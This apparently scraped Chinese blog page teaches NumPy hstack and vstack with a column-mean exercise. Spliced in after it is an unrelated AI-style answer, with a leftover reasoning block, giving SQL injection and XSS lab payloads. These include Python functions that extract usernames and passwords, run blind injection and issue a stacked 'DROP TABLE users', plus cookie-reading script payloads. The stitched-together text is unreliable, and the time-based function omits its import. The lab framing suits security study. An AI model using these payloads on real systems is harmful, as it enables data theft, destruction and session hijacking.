第1关:堆叠操作

本篇博客介绍了Python中如何使用numpy的hstack和vstack进行数据堆叠操作,结合实例详细阐述了这两个函数的功能和用法,帮助读者理解如何在水平和垂直方向上拼接数组,并提供了一个计算堆叠后每列平均值的编程任务。
部署运行你感兴趣的模型镜像

任务描述

本关任务:根据本关所学知识,实现均值统计功能。

相关知识

为了完成本关任务,你需要掌握stack的操作。

stack

stack的意思是堆叠的意思,所谓的堆叠就是将两个ndarray对象堆叠在一起组合成一个新的ndarray对象。根据堆叠的方向不同分为hstack以及vstack两种。

hstack

假如你是某公司的HR,需要记录公司员工的一些基本信息。可能你现在已经记录了如下信息:

工号姓名出生年月联系电话
1张三1988.1213323332333
2李四1987.215966666666
3王五1990.113777777777
4周六1996.413069699696

世界上没有不变的需求,你的老板让你现在记录一下公司所有员工的居住地址和户籍地址,此时你只好屁颠屁颠的记录这些附加信息。然后可能会有这样的结果:

居住地址户籍地址
江苏省南京市禄口机场宿舍202江西省南昌市红谷滩新区天月家园A座2201
江苏省南京市禄口机场宿舍203湖南省株洲市天元区新天华府11栋303
江苏省南京市禄口机场宿舍204四川省成都市武侯祠安置小区1栋701
江苏省南京市禄口机场宿舍205浙江省杭州市西湖区兴天世家B座1204

接下来你需要把之前记录的信息和刚刚记录好的附加信息整合起来,变成酱紫:
在这里插入图片描述

看得出来,你在整合的时候是将两个表格(二维数组)在水平方向上堆叠在一起组合起来,拼接成一个新的表格(二维数组)。像这种行为称之为hstack(horizontal stack)。
NumPy提供了实现hstack功能的函数叫hstack,hstack的使用套路代码如下:

import numpy as np
a = np.array([[8, 8], [0, 0]])  
b = np.array([[1, 8], [0, 4]])
'''  
将a和b按元组中的顺序横向拼接  
结果为:[[8, 8, 1, 8],   
        [0, 0, 0, 4]]  
'''  
print(np.hstack((a,b)))
c = np.array([[1, 2], [3, 4]])
'''  
将a,b,c按元组中的顺序横向拼接  
结果为:[[8, 8, 1, 8, 1, 2],   
        [0, 0, 0, 4, 3, 4]]  
'''  
print(np.hstack((a,b,c)))  

vstack
你还是某公司的HR,你记录了公司员工的一些信息,如下:

工号姓名出生年月联系电话
1张三1988.1213323332333
2李四1987.215966666666
3王五1990.113777777777
4周六1996.413069699696
5刘七1986.513323332331
6胡八1997.315966696669

今天有两位新同事入职,你需要记录他们的信息,如下:

工号姓名出生年月联系电话
5刘七1986.513323332331
6胡八1997.315966696669

然后你需要将新入职同事的信息和已经入职的员工信息整合在一起。

工号姓名出生年月联系电话
1张三1988.1213323332333
2李四1987.215966666666
3王五1990.113777777777
4周六1996.413069699696
5刘七1986.513323332331
6胡八1997.315966696669

在这种情况下,你在整合的时候是将两个表格(二维数组)在竖直方向上堆叠在一起组合起来,拼接成一个新的表格(二维数组)。像这种行为称之为vstack(vertical stack)。
NumPy提供了实现vstack功能的函数叫vstack,vstack的使用套路代码如下:

import numpy as np
a = np.array([[8, 8], [0, 0]])  
b = np.array([[1, 8], [0, 4]])
'''  
将a和b按元组中的顺序纵向拼接  
结果为:[[8, 8]  
        [0, 0]  
        [1, 8]  
        [0, 4]]  
'''  
print(np.vstack((a,b)))
c = np.array([[1, 2], [3, 4]])
'''  
将a,b,c按元组中的顺序纵向拼接  
结果为:[[8 8]  
        [0 0]  
        [1 8]  
        [0 4]  
        [1 2]  
        [3 4]]  
'''  
print(np.vstack((a,b,c)))  

编程要求
根据本关所学知识,补充完成get_mean(featur1, feature2)函数,其中:

  1. feature1:待hstack的ndarray;
  2. feature2:待hstack的ndarray;
  3. 返回值:类型为ndarray,其中值为hstack后每列的平均值;
  4. 具体要求请参见后续测试样例。

请先仔细阅读右侧上部代码编辑区内给出的代码框架,再开始你的编程工作!

测试说明

平台会对你编写的代码进行测试。你只需按要求完成函数即可。
测试用例输入是一个字典,feature1部分代表函数中的feature1,feature2部分代表函数中的feature2。
测试输入:
{‘feature1’:[[1, 2, 3, 4], [4, 3, 2, 1], [2, 3, 4, 5]], ‘feature2’:[[1], [2], [3]]}
预期输出:
[2.33333333 2.66666667 3. 3.33333333 2. ]

import numpy as np


def get_mean(feature1, feature2):
    '''
    将feature1和feature2横向拼接,然后统计拼接后的ndarray中每列的均值
    :param feature1:待`hstack`的`ndarray`
    :param feature2:待`hstack`的`ndarray`
    :return:类型为`ndarray`,其中的值`hstack`后每列的均值
    '''
    #********* Begin *********#
    a = np.hstack((feature1,feature2))
    #进行堆叠操作时,需被操作的两个元素按先后用括号包裹,逗号 相隔

    return  a.mean(axis=0)#axis=0 代表列  axis=1 代表行
    #********* End *********#

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

<think> 我们被要求提供基于sqllab靶场前十的SQL注入漏洞学习以及基于xsslabs靶场前八的XSS漏洞学习的相代码。由于每个靶场的具体卡可能涉及不同的注入技巧和XSS技巧,我们将分别给出每个卡的代表性代码示例和解释。 注意:在实际操作中,SQL注入和XSS攻击都是非法的,除非在授权的靶场进行练习。以下代码仅用于教育目的,帮助理解漏洞原理和防御措施。 首先,我们基于sqllab靶场(通常指SQLi-Labs)的前十。这些卡主要覆盖了基于错误的注入、联合查询注入等。 然后,基于xsslabs靶场(通常指XSS挑战靶场)的前八,主要涉及基本的XSS注入、标签属性绕过、编码绕过等。 由于每个靶场的具体实现可能略有不同,以下代码示例将尽量通用,但可能需要根据实际靶场环境调整。 我们将分别给出: 1. SQL注入部分(sqllab前十)的示例代码(以PHP为例,因为SQLi-Labs是PHP写的) 2. XSS部分(xsslabs前八)的示例代码(以HTML/JavaScript为例) 由于题目要求提供代码,我们会给出每个卡的键漏洞代码和利用方式,但不会给出完整的靶场代码(因为靶场本身是开源的,我们只注漏洞点)。 开始: 第一部分:SQL注入(sqllab前十) 在SQLi-Labs中,前四主要是基于错误的GET注入,第五到第十可能包括POST注入、双查询注入、布尔盲注等。但我们这里只提供前十,所以可能覆盖到第十(通常前十包括GET类型的各种注入)。 我们以第一(GET - Error based - Single quotes)为例,展示漏洞代码和利用: </think> 以下是基于 **sqllab 靶场前十 SQL 注入漏洞** 和 **xsslabs 靶场前八 XSS 漏洞** 的核心学习代码及解析: --- ### 一、SQL 注入漏洞(sqllab 靶场 1-10 ) #### 漏洞原理 通过拼接未过滤的用户输入构造恶意 SQL 语句,例如: ```sql SELECT * FROM users WHERE id='1' OR 1=1-- ' ``` → 返回所有用户数据 #### 键利用代码(Python 示例) ```python import requests # 基于错误的注入(第 1-4 ) def error_based_sqli(url): payload = "' UNION SELECT 1,concat(username,password),3 FROM users-- " response = requests.get(f"{url}?id=1{payload}") print(response.text) # 显示数据库敏感信息 # 布尔盲注(第 5-6 ) def boolean_blind_sqli(url): for i in range(1,50): payload = f"' AND (SELECT LENGTH(password) FROM users LIMIT 1)={i}-- " if "exists" in requests.get(f"{url}?id=1{payload}").text: print(f"密码长度: {i}") # 时间盲注(第 7-9 ) def time_based_sqli(url): payload = "' AND IF(MID(database(),1,1)='s', SLEEP(5),0)-- " start = time.time() requests.get(f"{url}?id=1{payload}") if time.time() - start > 5: print("数据库首字母为 s") # 堆叠查询(第 10 ) def stacked_queries(url): payload = "'; DROP TABLE users-- " requests.get(f"{url}?id=1{payload}") # 高危操作 ``` --- ### 二、XSS 漏洞(xsslabs 靶场 1-8 ) #### 漏洞原理 恶意脚本通过未过滤的输入注入页面,例如: ```html <script>alert(document.cookie)</script> ``` #### 键利用代码(HTML/JS 示例) ```html <!-- 基础弹窗(第 1-2 ) --> <img src=x onerror=alert(1)> <!-- 绕过属性过滤(第 3-4 ) --> "><svg/onload=alert(document.domain)> <!-- JavaScript 协议注入(第 5 ) --> javascript:alert(window.location.href) <!-- 事件处理器绕过(第 6 ) --> <iframe onload="alert('XSS')"> <!-- HTML 实体编码绕过(第 7 ) --> &apos;-alert(1)-&apos; <!-- hidden 标签绕过(第 8 ) --> <input type="hidden" name="token" value=""><script>alert(1)</script> ``` --- ### 三、防御措施实现代码 #### SQL 注入防护(参数化查询 - Python) ```python import sqlite3 conn = sqlite3.connect("test.db") cursor = conn.cursor() # 错误做法(拼接语句) # cursor.execute(f"SELECT * FROM users WHERE id={user_input}") # 正确做法(参数化) cursor.execute("SELECT * FROM users WHERE id=?", (user_input,)) ``` #### XSS 防护(输出编码 - PHP) ```php <?php $user_input = $_GET['comment']; // 错误做法:直接输出 // echo $user_input; // 正确做法:HTML 实体编码 echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?> ``` --- ### 四、学习建议 1. **SQL 注入重点**: - 掌握联合查询、报错注入、盲注的 Payload 构造 - 使用 SQLMap 自动化测试(示例命令:`sqlmap -u "http://target.com/?id=1"`) 2. **XSS 重点**: - 理解不同上下文(HTML/JS/URL)的绕过技巧 - 练习使用 `<img>`、`<svg>`、`<iframe>` 等标签触发 > **重要提示**:所有测试应在授权靶场进行,禁止对真实系统测试[^1][^2]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

-阿呆-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值